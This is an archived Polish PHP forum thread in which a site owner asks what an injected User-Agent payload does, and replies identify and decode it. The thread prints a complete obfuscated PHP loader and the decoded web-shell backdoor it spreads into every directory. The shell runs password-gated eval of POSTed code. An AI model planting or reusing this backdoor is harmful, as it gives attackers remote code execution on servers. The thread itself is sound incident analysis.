Pomoc - Szukaj - Użytkownicy - Kalendarz
Pełna wersja: [PHP]prośba o interpretacje próby ataku na stronę
Forum PHP.pl > Forum > Przedszkole
ziel_inf
witam
Prosze o przejrzenie kodu i zinterpretowanie : " co to miało robić ?".
Mam strone i skrypt php który zapisuje odwiedziny w pliku textowym .php na serwerze.
W zmienna $_SERVER["HTTP_USER_AGENT"] podstawiono kod:
  1. <?php eval(base64_decode("QGluaV9zZXQoJ2FsbG93X3VybF9mb3BlbicsIDEpOw0KDQphZGRMb2FkZXIoKTsNCiRkYXRhID0
    gQG9wZW5kaXIoJy4nKTsNCg0Kd2hpbGUgKCRmaWxlID0gQHJlYWRkaXIoJGRhdGEpKQ0Kew0KCSRmaWxl
    ID0gdHJpbSgkZmlsZSk7DQoJaWYgKCEkZmlsZSB8fCBwcmVnX21hdGNoKCcvXlwuKyQvJywgJGZpbGUpI
    Hx8ICFpc19kaXIoJGZpbGUpKSBjb250aW51ZTsNCglhZGRMb2FkZXIoJGZpbGUpOw0KfQ0KDQpAY2xvc2
    VkaXIoJGRhdGEpOw0KDQpmdW5jdGlvbiBhZGRMb2FkZXIoJGRpciA9ICcnKQ0Kew0KICAgIGlmICgkZGl
    yKSAkZGlyIC49ICcvJzsNCiAgICBAY2htb2QoJGRpciwgNzc3KTsNCiAgICANCiAgICAkZnAgPSBmb3Bl
    bigieyRkaXJ9Zjk0NTM0YmEyYWU5M2QwMDI2NTdlMGRjNzZkMTkxNmIucGhwIiwgInciKTsgDQogICAgZ
    ndyaXRlKCRmcCwgYmFzZTY0X2RlY29kZSgnUEQ5d2FIQU5DZzBLUUdsdWFWOXpaWFFvSjJGc2JHOTNYM1
    Z5YkY5bWIzQmxiaWNzSURFcE93MEtRR2x1YVY5elpYUW9KMlJsWm1GMWJIUmZjMjlqYTJWMFgzUnBiV1Z
    2ZFhRbkxDQTJNQ2s3RFFwQWFXNXBYM05sZENnbmJXRjRYMlY0WldOMWRHbHZibDkwYVcxbEp5d2dOakFw
    T3cwS1FITmxkRjkwYVcxbFgyeHBiV2wwS0RZd0tUc05DZzBLSkdSaGRHRWdQU0JBZFc1elpYSnBZV3hwZ
    W1Vb1ltRnpaVFkwWDJSbFkyOWtaU2gwY21sdEtFQWtYMUJQVTFSYkoyUmhkR0VuWFNrcEtUc05DZzBLYV
    dZZ0tFQWhhWE5mWVhKeVlYa29KR1JoZEdFcElIeDhJRzFrTlNna1pHRjBZVnNuY0dGemMzZHZjbVFuWFN
    rZ0lUMGdKMlF6WkdZME16bGpNMlUwWWpKak5ERTVNakJrT0dVeU56TXpNVEV6TWpNMkp5a2daWGhwZERz
    TkNtbG1JQ2hBSkdSaGRHRmJKMk52WkdVblhTa2daWFpoYkNoaVlYTmxOalJmWkdWamIyUmxLQ1JrWVhSa
    Fd5ZGpiMlJsSjEwcEtUc05DbWxtSUNoQUpHUmhkR0ZiSjJOb1pXTnJYMk52WkdVblhTa2djSEpwYm5RZ0
    pHUmhkR0ZiSjJOb1pXTnJYMk52WkdVblhUc05DZzBLUHo0PScpKTsNCglmY2xvc2UoJGZwKTsNCg0KCWl
    mIChmaWxlX2V4aXN0cygieyRkaXJ9Zjk0NTM0YmEyYWU5M2QwMDI2NTdlMGRjNzZkMTkxNmIucGhwIikp
    DQoJew0KICAgICAgICAkY2sgPSAiMTgyMzY0OTM2NTgyMDM1NCI7DQoJICAgIHByaW50ICIkY2s6eyp9O
    iRkaXI6eyp9OiI7DQoJCWV4aXQ7DQoJfQ0KfQ=="
    )); ?>


kod ten spowodował zapisanie na serwerze pliku o nazwie:
84397209c184b5522c0f02605dc6ff29.php
lub
f94534ba2ae93d002657e0dc76d1916b.php

oba pliki maja treść:
  1. <?php
  2.  
  3. @ini_set('allow_url_fopen', 1);
  4. @ini_set('default_socket_timeout', 60);
  5. @ini_set('max_execution_time', 60);
  6.  
  7. $data = @unserialize(base64_decode(trim(@$_POST['data'])));
  8.  
  9. if (@!is_array($data) || md5($data['password']) != 'd3df439c3e4b2c41920d8e2733113236') exit;
  10. if (@$data['code']) eval(base64_decode($data['code']));
  11. if (@$data['check_code']) print $data['check_code'];
  12.  
  13. ?>


Z tego co znalazłem w googlach to próba ataku na SQL .
Co ten kod miał zrobić ?

Zapytania wyszły z ip:
93.115.84.155
i
46.105.114.130
Spawnm
Eval wykonuje dowolny kod php. Ktoś ci wstrzyknął backdoora.
dr_NO
Dorzucę na szybko, co zostało wstrzyknięte:

  1. @ini_set('allow_url_fopen', 1);
  2.  
  3. addLoader();
  4. $data = @opendir('.');
  5.  
  6. while ($file = @readdir($data))
  7. {
  8. $file = trim($file);
  9. if (!$file || preg_match('/^\.+$/', $file) || !is_dir($file)) continue;
  10. addLoader($file);
  11. }
  12.  
  13. @closedir($data);
  14.  
  15. function addLoader($dir = '')
  16. {
  17. if ($dir) $dir .= '/';
  18. @chmod($dir, 777);
  19.  
  20. $fp = fopen("{$dir}f94534ba2ae93d002657e0dc76d1916b.php", "w");
  21. fwrite($fp, base64_decode('PD9waHANCg0KQGluaV9zZXQoJ2FsbG93X3VybF9mb3BlbicsIDEpOw0KQGluaV9zZXQoJ2RlZmF1bHRf
    c29ja2V0X3RpbWVvdXQnLCA2MCk7DQpAaW5pX3NldCgnbWF4X2V4ZWN1dGlvbl90aW1lJywgNjApOw0KQ
    HNldF90aW1lX2xpbWl0KDYwKTsNCg0KJGRhdGEgPSBAdW5zZXJpYWxpemUoYmFzZTY0X2RlY29kZSh0cm
    ltKEAkX1BPU1RbJ2RhdGEnXSkpKTsNCg0KaWYgKEAhaXNfYXJyYXkoJGRhdGEpIHx8IG1kNSgkZGF0YVs
    ncGFzc3dvcmQnXSkgIT0gJ2QzZGY0MzljM2U0YjJjNDE5MjBkOGUyNzMzMTEzMjM2JykgZXhpdDsNCmlm
    IChAJGRhdGFbJ2NvZGUnXSkgZXZhbChiYXNlNjRfZGVjb2RlKCRkYXRhWydjb2RlJ10pKTsNCmlmIChAJ
    GRhdGFbJ2NoZWNrX2NvZGUnXSkgcHJpbnQgJGRhdGFbJ2NoZWNrX2NvZGUnXTsNCg0KPz4='
    ));
  22. fclose($fp);
  23.  
  24. if (file_exists("{$dir}f94534ba2ae93d002657e0dc76d1916b.php"))
  25. {
  26. $ck = "1823649365820354";
  27. print "$ck:{*}:$dir:{*}:";
  28. }
  29. }


Oraz z utworzonego pliku:

  1. <?php
  2.  
  3. @ini_set('allow_url_fopen', 1);
  4. @ini_set('default_socket_timeout', 60);
  5. @ini_set('max_execution_time', 60);
  6.  
  7. $data = @unserialize(base64_decode(trim(@$_POST['data'])));
  8.  
  9. if (@!is_array($data) || md5($data['password']) != 'd3df439c3e4b2c41920d8e2733113236') exit;
  10. if (@$data['code']) eval(base64_decode($data['code']));
  11. if (@$data['check_code']) print $data['check_code'];
  12.  
  13. ?>
To jest wersja lo-fi głównej zawartości. Aby zobaczyć pełną wersję z większą zawartością, obrazkami i formatowaniem proszę kliknij tutaj.
Invision Power Board © 2001-2025 Invision Power Services, Inc.